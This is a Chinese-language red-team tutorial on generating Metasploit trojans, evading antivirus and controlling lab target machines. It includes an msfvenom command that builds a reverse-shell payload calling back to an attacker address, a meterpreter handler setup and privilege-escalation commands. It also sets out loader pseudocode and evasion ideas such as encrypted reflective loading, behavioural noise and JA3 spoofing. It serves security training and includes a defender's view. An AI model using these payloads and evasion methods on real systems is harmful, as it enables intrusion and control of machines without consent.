1. 项目概述:从“会开工具”到“懂对抗逻辑”
真正让我决定写这篇东西的原因,是最近在某甲方做授权的红队评估时,发现很多刚接触安全的朋友对 Kali 和 Metasploit 的认识还停留在“敲几个命令就能拿下靶机”的层面。他们看得懂 msfconsole 的 banner,也跑得通永恒之蓝的 exploit,可一旦遇到装了点防护软件的靶机,或者靶机在内网深处,整套流程就卡壳了。这篇内容不打算重复那些人人都会的基础教程,而是围绕“木马生成、免杀、控靶机”这条完整链路,把我在实际项目中踩过的坑、试过的方法、验证过的思路拆开讲清楚。内容会覆盖从生成载荷到建立稳定会话,再到后续权限维持与检测对抗的完整流程。
先把这个项目的能力边界说清楚:这套东西既不是纯理论研究,也不是脚本小子式的命令堆砌。它的核心价值在于让你理解恶意载荷从生成到落地执行的完整生命周期,理解杀软查杀的是什么、网络防线监测的是什么、蓝队溯源靠的是什么。适合的对象很明确:有一定命令行基础、想深入理解攻防对抗逻辑的安全从业者,或者正在准备安全类认证、需要在受控环境里做实验的进阶学习者。
1.1 核心需求解析
这个项目的标题乍看只是个工具链操作指南,但深入拆解会发现它其实包含三层需求。
第一层是功能需求:生成一个能绕过查杀的载荷,把它投递到靶机并建立远程会话,然后在会话基础上做后续操作。这是整个流程的表层目标。
第二层是原理需求:为什么默认生成的 exe 一落地就被杀?为什么换了编码器依然被检测?为什么同一个载荷在这台机器上免杀、在另一台机器上就被杀?这些问题的答案不在命令里,而在载荷的结构、PE 文件的格式、杀软引擎的工作机制里。
第三层是对抗需求:真正到了授权测试的场景里,面对的不会是裸奔的靶机。终端有 EDR,边界有流量监测,防守方会盯着进程行为、网络连接、注册表改动这些痕迹。所以整个项目要以攻防对抗的视角去审视每一个环节,理解检测方的思维,才能反推出有效的对抗思路。
我在设计这个项目时,把重心放在第二层和第三层,第一层只是作为载体。这也是为什么这篇内容叫“进阶篇”——它默认你已经跑通过基础流程,接下来要补齐的是原理和对抗方法论。
1.2 场景与安全边界
这里必须把丑话说在前面。整个项目涉及的所有技术,一律限定在以下场景使用:
- 自建的实验室靶场环境
- 获得书面授权的红队评估或渗透测试项目
- 安全工具与研究中的样本分析(针对自己收集或平台共享的样本)
我见过有人把这套东西用在真实生产环境里,结果把自己送进了不该进的地方。技术本身是中性的,但使用场景决定了它的性质。Metasploit 能用来做应急响应前的模拟攻击验证,也能用来做坏事,区别只在于操作者的意图和授权。这个项目里所有演示用的目标,都是实验环境里自建的靶机,不涉及任何真实资产。
2. 环境搭建与工具链选型
2.1 为什么选 Kali + Metasploit 这套组合
很多人问过我:现在 Cobalt Strike 那么流行,Sliver 也开源,为什么还要回过头来折腾 Metasploit?
我的回答是:Metasploit 是整个攻防工具链里最适合用来“理解原理”的一套框架。它的载荷生成机制、编码器体系、会话管理方式,构成了后来很多商业工具的设计基础。你把 Metasploit 里 meterpreter 会话的建立过程吃透了,再去理解 Cobalt Strike 的 beacon 或者 Sliver 的 implant,基本上是降维打击。
Kali 作为发行版的价值在于预装。它把这套工具链和依赖环境都打包好了,省去了大量编译和配环境的时间。但这不意味着你可以完全不关心底层。有一个问题我反复强调:永远不要在生产环境的终端上直接跑 Kali 自带的 Metasploit。我曾经在实验中发现自带的版本存在一些依赖库版本过旧的问题,某些新模块跑不起来。但这是实验室环境,无所谓;真实项目里我会用独立安装的 Metasploit 或者直接在目标网络环境外单独部署一套攻击机。
2.2 靶场环境的具体配置方案
我这里给出一个当时实验用的基础配置,完全在虚拟化环境里完成,物理机不需要装任何额外东西。
| 角色 | 系统 | 网络配置 | 用途 |
|---|---|---|---|
| 攻击机 | Kali Linux 最新版 | NAT 模式,静态IP 192.168.10.10 | 运行 Metasploit、生成载荷 |
| 靶机A | Windows 10 企业版(关闭 Defender) | NAT 模式,静态IP 192.168.10.20 | 测试免杀效果、会话建立 |
| 靶机B | Windows 7 SP1 | 仅主机模式,IP 192.168.20.30 | 测试内网横向、老版本系统兼容 |
| 跳板机 | Ubuntu Server | 双网卡,分别接两个网段 | 模拟内网边界设备 |
这个拓扑模拟了一个基础的内网环境:攻击机只能直接触达网段 A,网段 B 需要通过跳板才能访问。这种设计对于理解“会话路由”和“代理转发”非常重要,因为现实中你不可能直接拿到一台内网机器的 IP 就开始打。
我实际实验时发现 Windows 7 靶机在 NAT 模式下经常出现网络不稳定,后来把虚拟网卡驱动换成半虚拟化模式才解决。这类问题很琐碎,但会直接影响实验进度。建议你在配置时就把虚拟化平台的支持选项全部确认一遍,别等到生成会话了才发现网络不通。
2.3 工具版本与依赖准备
Metasploit 框架的版本迭代很快,不同版本之间的命令和行为差异不小。做这个项目时我固定使用当时最新的稳定版,其实这本身就带来一个矛盾:越新的版本,越容易被杀软引擎列为重点监控对象,这是后话。
先确认几个基础组件:
- Metasploit Framework:
msfconsole --version - 编译环境:
which mingw-w64(交叉编译 Windows 载荷需要) - Python 3:部分自定义加密脚本依赖
- Go 语言环境:如果走 Golang 免杀路线会用到
# Kali 下安装交叉编译环境 sudo apt update sudo apt install mingw-w64为什么要提前装这些?因为后面生成载荷时,msfvenom 默认用的是自带模板,而免杀改造往往需要你重新编译一个外壳来加载原始载荷,这时候没有交叉编译环境就卡住了。别等到用的时候再装,交叉编译工具链的体积不小,下载也慢,提前准备好能省不少时间。
3. 木马生成:载荷选型与格式适配
3.1 理解 payload、encoder、格式三者的关系
很多新手搞不清 msfvenom 命令里-p、-e、-f这三个参数到底分别在控制什么。我用一个比喻来拆解:
- payload 是子弹:决定会话建立后你能做什么(反弹 shell、执行命令、加载后续模块)
- encoder 是弹壳的伪装色:把子弹的外形改一下,试图骗过安检
- format 是发射方式:同样的子弹,可以用手枪打、用步枪打、用弩射——对应 exe、dll、ps1、py 等不同的可执行格式
# 一个典型的生成命令 msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.10.10 LPORT=4444 \ -e x64/xor_dynamic \ -f exe -o shell.exe注意windows/x64/meterpreter/reverse_tcp这个 payload。它的意思是:生成一个 64 位 Windows 平台上的 meterpreter 载荷,靶机主动反向连接回攻击机的 4444 端口。反向连接(reverse_tcp)比正向连接(bind_tcp)实用的多,因为现实中靶机通常在内网,攻击机很难主动连进去,但靶机可以主动出网连接攻击机。
有一个细节容易被忽略:payload 的架构必须和靶机系统架构匹配。32 位载荷在 64 位系统上能跑但那是在 Wow64 模拟环境下,行为特征很明显,且部分高级功能受限。我在实验里吃过这个亏:生成了一堆 32 位载荷,到了 64 位靶机上会话建立倒是没问题,但后续想加载 mimikatz 的时候,频繁崩溃。
3.2 格式选择的逻辑与实际踩坑记录
格式的选择直接决定加载方式。一次项目中我只会带两三种格式,而不是把所有格式都生成一遍。原因很简单:每种格式的投递场景不同,杀软的查杀策略也不同。
exe 格式:最直接,双击或命令行执行就行。但 exe 也是被查杀最严的格式。现在的杀软对未知 exe 的检测维度很多:数字签名、编译信息、图标资源、加壳特征、导出表结构,都可能成为判断依据。实验环境中,默认生成的 exe 基本是必查杀的。
dll 格式:适合通过rundll32或其他白程序加载,绕过了“直接执行 exe”这个敏感行为。用-f dll生成后,可以用 rundll32 的导出函数方式来触发。这也是很多真实攻击链路里偏爱的格式,因为系统自身加载 dll 属于正常行为,监控难度更大。但 dll 的调试难度比 exe 高不少,尤其是 64 位架构下。
ps1 格式:PowerShell 载荷。生成后通常是经过 base64 编码的脚本,用powershell -enc方式执行。Windows 系统自带 PowerShell,不需要额外上传任何文件,确实适合某些限制上传的场景。但 PowerShell 脚本的查杀其实很严格,尤其是 AMSI 机制出来之后,很多敏感字符串在脚本层就被拦截了。不过有个思路值得记住:分块拆分脚本、动态拼接、反射加载,这些思路在对抗 AMSI 时比单纯编码更有效。
py/pl 等其他格式:依赖目标机器上安装了对应解释器,实战里使用较少,但做实验时可以玩一玩,理解载荷的跨平台原理。
3.3 为什么不推荐依赖单一 payload
进阶玩家都会在自己的工具库里备多种 payload 组合,而不是死磕一种。我自己的习惯是:
- 外网打点:优先用
windows/x64/meterpreter/reverse_https,因为 HTTPS 流量在边界设备上默认放行的概率高 - 内网横向:用
windows/x64/shell/reverse_tcp,stage 较小,传输快 - 需要稳定长连接:用
windows/x64/meterpreter/reverse_tcp配合set SessionRetryTotal等参数
这里要提一个重要概念:stage 和 stager 的区别。stager 是一小段引导代码,负责建立连接并加载真正的 stage(完整 payload)。windows/meterpreter/reverse_tcp这种直接生成的是 stageless 完整载荷,体积大;而windows/x64/meterpreter/reverse_tcp默认带 stager 机制,先传一小段代码,再把完整功能模块拉过来。这种分阶段加载的方式是流量检测的难点,因为初始阶段的流量很短,特征不明显。
实战中我一般根据目标环境决定用 stage 还是 stageless。内网带宽充足时用 stageless,稳定可靠;跨网络边界或带宽受限时用 stager,初始流量小,但依赖攻击机的 handler 持续监听。
4. 免杀原理与对抗思路
4.1 杀软到底在查什么?
理解免杀之前,要先搞明白杀软检测的几层维度。我列了一个自己的理解框架:
| 检测维度 | 检测内容 | 免杀思路对应 |
|---|---|---|
| 静态特征 | 文件哈希、特征字符串、PE 结构 | 改哈希、加壳、混淆字符串 |
| 静态启发 | 导入表、可疑 API 调用序列、节区权限 | 减少可疑 API、拆分导入 |
| 行为检测 | 进程注入、敏感注册表操作、自删除 | 模拟正常行为、延时执行 |
| 沙箱检测 | 在虚拟环境中的异常行为 | 检测沙箱特征,延迟触发 |
| 流量检测 | 连接特征、协议指纹、恶意域名 | 加密流量、域前置、分离通信 |
大多数人的免杀思路还停留在第一层,也就是“改一下特征码就能过”。这在五六年前是成立的,但现在主流杀软基本都是多层联动:静态没过没关系,行为分析兜底;行为伪装得再好,流量特征暴露了你。所以免杀不能只针对某一层去做,而是要系统地过每一层。
4.2 编码器和自定义混淆的实验记录
Metasploit 自带的编码器,比如x86/shikata_ga_nai、x64/xor_dynamic,在对抗特征码扫描时有一定效果,但它有个致命弱点:编码后的载荷在内存中还是要还原成原始代码,这个还原动作本身就是行为检测的重点观察对象。而且各家杀软对 Metasploit 自带编码器的特征做了长期归纳,直接在静态层就能识别。
我做过一个对比实验:同一份原始载荷,分别用x64/xor_dynamic、x64/zutto_dekiru编码后生成 exe,在实验靶机上经过 Defender。结果是全都无法落地。这就是我说的“只靠编码器”的局限。
后来我改用自定义混淆思路:先把原始 payload 用 AES 加密,运行时解密后反射加载。这个方向的核心在于,加密后的载荷没有静态特征(密文不匹配任何已知样本),解密逻辑是自定义的(不匹配已知工具的代码模式),反射加载绕过了落地文件这个环节(内存中运行)。但这套方案实现起来比“msfvenom 跑一条命令”复杂得多。
4.3 分离加载:让免杀回归工程问题
在我自己的项目实践里,效果稳定且原理清晰的免杀方案是分离加载。核心逻辑:不要把恶意代码做成一个完整的自包含 exe,而是拆成两个部分——一个加载器(loader)和一个载荷容器(数据文件)。
// loader.c 的伪代码逻辑 // 1. 从本地或远程读取加密后的 payload 数据 // 2. 解密到内存缓冲区 // 3. 调用 VirtualAlloc 申请可执行内存 // 4. 将解密后的代码拷贝到该内存区域 // 5. 创建线程执行这个加载器本身完全“人畜无害”:它不包含任何恶意特征,只是一段看起来很普通的内存操作代码。真正恶意的载荷数据是以加密形式独立存在的,不落地时杀软静态扫描根本看不到它。
但分离加载也引入了新的问题:
- 载荷数据要跟随加载器一起投递,文件数量增加,投递复杂度上升
- 加载器需要实现读取、解密、内存分配、执行等多个步骤,任意一步出错都会导致会话建立失败
- 杀软的行为检测会盯着 VirtualAlloc 和 CreateThread 这种组合,如果加载器每次执行行为完全一致,还是会被盯上
我通常会在加载器里加入一些“噪音操作”:比如先做几次无意义的字符串拼接、打开一个系统文件读几行,让行为序列不那么干净。这些细节不影响最终执行,但能在一定程度上干扰行为分析。
4.4 流量侧的对抗:为什么 HTTPS 不一定保险
很多人以为用了reverse_https就万事大吉,实际上流量检测方也在升级。标准的 meterpreter HTTPS 流量,在 TLS 握手阶段会带有特定特征——比如 JA3 指纹。不同的工具生成的 TLS 客户端指纹是不同的,检测方拿到 JA3 指纹库一匹配,就能在不解密流量的情况下判断“这是不是 Metasploit”。
JA3 这个概念值得展开说一下。TLS 握手时客户端会发送一个 ClientHello 包,里面包含 TLS 版本、密码套件列表、扩展列表等信息。把这些字段组合成一个哈希值,就是 JA3 指纹。不同的恶意软件/工具有不同的 JA3 指纹,而且由于这些工具很少更新 TLS 库,指纹往往长期不变。
对抗 JA3 检测的思路是修改 TLS 库的握手参数,让指纹看起来像一个正常浏览器。但这在 Metasploit 里做起来比较受限,因为 Ruby 的 TLS 栈和 OpenSSL 的配置项有限。在真实项目中,很多人转向了用 Sliver 或自研工具来解决这个问题。这也是为什么我强调 Metasploit 是理解原理的好工具,但不一定是实战里最优解的工具。
5. 会话建立与控制靶机实操
5.1 handler 配置与会话稳定性调优
生成完载荷只是第一步,真正考验耐心的是会话建立和维护。先看一个最基础的 handler 配置:
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https msf6 exploit(multi/handler) > set lhost 192.168.10.10 msf6 exploit(multi/handler) > set lport 443 msf6 exploit(multi/handler) > set ExitOnSession false msf6 exploit(multi/handler) > exploit -j几个关键参数值得注意:
ExitOnSession false:第一个会话建立后 handler 不退出,继续监听。这是在做多目标投递时的常用配置,否则每次打下一台机器都得重新起一个 handlerSessionRetryTotal和SessionRetryWait:控制 stager 重试机制。靶机上线后网络抖动导致连接断开时,这两个参数决定了多久重连ExpirationTimeout:会话空闲多久后失效。实测下来,默认值有时太短,长时间无操作后会话就没了。做渗透测试时建议调大
有一个我在实验里反复遇到的坑:handler 监听正常,靶机执行了载荷,但就是不上线。排查思路是:
- 先在靶机上确认载荷是否真的执行了(tasklist 看进程、看网络连接)
- 确认靶机能访问攻击机的端口(防火墙是否放行)
- 确认 payload 里的 LHOST 和 LPORT 与 handler 一致
第 3 条经常出问题。很多人生成载荷时用了LHOST=192.168.10.10,但后来攻击机 IP 变了,或者 handler 配置里 lhost 写错了,导致回连地址不对。这里给一个建议:用域名或固定 IP 作为 LHOST,别用会变的地址。在实验室里 DHCP 分配容易变动,建议手动指定静态 IP。
5.2 会话后的基础操作与提权尝试
会话建立后,meterpreter 提供的命令很多,但实际用得上的就那么几个。
# 查看系统基本信息 sysinfo getuid # 获取当前权限 getsystem # 获取系统权限 ps # 列举进程 migrate <pid> # 迁移进程提权是整个控制流程里最实际的需求。Windows 下的提权思路我整理了几类:
内核漏洞提权:getsystem 自动尝试一些常见内核漏洞,成功率一般。Windows 7 时代这类漏洞很多,但 Windows 10 和 11 上系统本身修复很快,内核提权在打了补丁的机器上已经很困难。我在实验里 Windows 7 靶机上 getsystem 经常直接成功,而在 Windows 10 上基本失败。
服务配置错误提权:检查可写服务的二进制路径。这类问题属于系统管理员的配置失误,在真实内网里出现的概率不低。通过wmic service查看服务路径,找到可以写入的目录,替换服务二进制文件,重启服务后就能获得 SYSTEM 权限。
令牌窃取:use incognito模块里的list_tokens -u和impersonate_token。思路是找到系统上其他高权限用户泄露的登录令牌,然后模拟这个令牌来执行命令。这个技巧在域环境下特别好用,因为域管理员登录过的机器上往往会留下可模拟的令牌。
我在实验中验证过一套相对可靠的组合:先ps找到运行中的 SYSTEM 权限进程(比如某些系统服务),用migrate迁进去,再操作。migrate 本质上就是把当前会话的代码注入到目标进程中,从而获得该进程的权限。对新手来说,先用 migrate 迁移到 SYSTEM 进程,往往比费劲跑提权 exp 更快。
5.3 会话维持与后渗透基础
会话掉线是所有实战者最头疼的问题。我总结了几条经过验证的稳定性措施:
- 迁移到稳定的系统进程:比如 explorer.exe,用户不主动退出的话会长驻
- 配置自动重连:payload 里的 ExitOnSession 和 SessionRetry 参数要处理好
- 避免疯狂执行大命令:meterpreter 会话是分帧传输的,一次传输超大文件很容易超时中断
需要提一个容易被忽略的点:session 的持久化不等于权限维持。你重启了靶机,meterpreter 进程没了,会话自然就断了。所以在真实授权项目里,做到这一步之后通常要考虑持久化机制,但这一步在实验里我一般只做演示不下发完整方案,因为持久化一旦做进真实系统,会留下大量痕迹,清除工作极其痛苦。
6. 常见问题排查与检测方视角的加固建议
6.1 实验中最常见的七种翻车情况
我把实际测试中遇到过的典型问题汇总成一个速查表。
| 现象 | 原因 | 解决 |
|---|---|---|
| 载荷落地就被杀 | 静态特征命中 | 换分离加载方案 |
| 靶机执行后没有回连 | LHOST/LPORT 配置错误 | 核对 payload 与 handler 参数 |
| 会话建立后几秒就掉线 | 杀软行为检测、进程被终止 | 迁移进程到系统进程 |
| getsystem 总是失败 | 系统补丁已修复漏洞 | 尝试服务配置错误提权 |
| 64位载荷在32位进程里执行失败 | 架构不匹配 | 确认 payload 架构与目标进程架构一致 |
| HTTP 载荷频繁超时 | 网络环境丢包严重 | 尝试 HTTPS 或调整超时参数 |
| 模块加载失败(如 mimikatz) | 会话权限不够或架构不对 | 检查权限,确认以 SYSTEM 运行 |
第七个还有一种可能是 meterpreter 会话走的是 staged 流程,stage 没完全加载好就执行了后续命令。这种情况下我通常重新生成一个 stageless 载荷再打一次,虽然体积大了,但稳定。
6.2 从防守方角度看这套流程哪里容易暴露
这个角度很重要,因为只有知道防守方怎么抓,才知道免杀该往哪个方向做。
进程行为:一个进程突然申请大块可读写执行内存,然后马上创建线程执行,这在行为分析里是非常典型的恶意信号。很多 EDR 产品会专门监控这类行为序列。实验里我用 Process Monitor 观察过自己的 loader,行为序列确实很显眼。
父子进程关系:如果杀软看到 powershell.exe 启动了一个子进程,然后这个子进程的网络行为异常,就会触发监控。某些执行路径中,loader 是由 Office 文档或者脚本启动的,这种父子关系本身就是高危信号。
网络连接规律:C2 通信如果特别有规律,比如每 10 秒长连接一次、每次发送的包长几乎一致,这种流量模式即使加密了也能被识别出来。所以在流量侧,随机化的心跳间隔、伪造的 TLS 指纹才是对抗方向。
持久化痕迹:注册表 Run 键、计划任务、服务创建,这些都是防守方重点排查的点。我自己做加固演练时,第一优先排查的就是这几个位置。
6.3 实验后的清理与痕迹处理
实验做完之后,靶机和攻击机的清理工作必须认真做。这不是道德问题,而是技术习惯问题。我见过有人在自己的靶场里留了一堆生成过的样本和会话记录,下次实验时被自己残留的 handler 干扰到怀疑人生。
清理步骤一般包括:
- 删除攻击机上生成的载荷文件,别放在默认目录里
- 关闭所有 handler 和 msfconsole 会话
- 靶机上删除投递的文件,恢复被修改的注册表项
- 如果实验过持久化,必须在重启前清除计划任务和服务项
- 恢复靶机系统快照,这是最省事的办法
vmware 的快照功能在这个场景下救了很多次命。每次实验前打一个干净的快照,测完直接恢复,省去大量手动清理的时间。建议至少保留两个快照:一个是安装好所有环境的干净状态,一个是配置好网络和共享文件的实验状态。
7. 从实验到实战:我的个人体会
这个项目我从构思到完整复现,前后花了大概三周,其中一半时间都耗在免杀方案的反复验证上。回头来看,有几个问题想清楚了才是真正进步。
Metasploit 是很好的学习框架,但它不是免杀的终点。它的优势在于模块丰富、上手快、社区文档多;劣势在于特征过于公开,检测方对它的研究非常透彻。真正到了高对抗环境,你需要的是根据目标环境定制的工具,而这就需要你理解 Metasploit 内部的工作原理,而不是只会敲命令。
免杀的本质是理解检测方,而不是攻击方。你花时间研究杀软的检测逻辑,研究 EDR 的行为分析框架,研究流量监测工具的告警规则,这些知识比多学几个绕过技巧保值得多。技巧会过时,但方法论不会。
实验室里的“成功免杀”和真实环境的“无效”之间差距巨大。实验室里你面对的只是本机杀软的静态扫描,真实环境里会有网络层检测、EDR 行为分析、蓝队人工研判。所以做实验时别只盯着“杀软有没有报毒”这一个指标,多想想整个过程在防守方眼里是什么样的。
最后再分享一个实验里的小技巧:每次生成载荷时,记录下完整的命令和对应的环境状态。我一开始总是随手复制命令,结果同一个配置跑了十几次都没法复现结果,后来规规矩矩在本子上记参数、记目标系统版本、记杀软版本,排查问题的效率高了很多。这个习惯看起来笨,但长期下来是省时间的。
这套流程你完整跑通之后,对“攻防对抗”的理解会上一个台阶。你会发现那些传说中的技术,本质上都是一个个朴素原理的组合。理解了这个,再去看任何新的工具、新的手法,都不会再觉得神秘了。